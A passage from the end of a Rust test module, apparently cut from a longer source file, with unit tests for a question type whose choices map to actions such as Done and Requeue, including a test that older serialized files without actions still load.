3807 q2.choices = vec!["SQLite".to_owned()];
3808 q2.actions
3809 .insert("SQLite".to_owned(), ChoiceAction::Requeue);
3810 q2.answer(Answer::Choice("SQLite".to_owned())).unwrap();
3811 assert_eq!(q2.chosen_action(), Some(&ChoiceAction::Requeue));
3812 }
3813
3814 #[test]
3815 fn a_reply_drops_actions_whose_choice_is_gone_and_old_files_read_without_actions() {
3816 let mut q = choice_question();
3817 q.choices = vec!["A".to_owned(), "B".to_owned()];
3818 q.actions.insert("A".to_owned(), ChoiceAction::Done);
3819 q.actions.insert("B".to_owned(), ChoiceAction::Requeue);
3820 q.reply("narrowing", vec!["B".to_owned()]).unwrap();
3821 assert_eq!(q.actions.len(), 1);
3822 assert!(q.actions.contains_key("B"));
3823
3824 let mut v = serde_json::to_value(&q).unwrap();
3825 v.as_object_mut().unwrap().remove("actions");
3826 let old: Question = serde_json::from_value(v).unwrap();
3827 assert!(old.actions.is_empty());
3828 }
3829}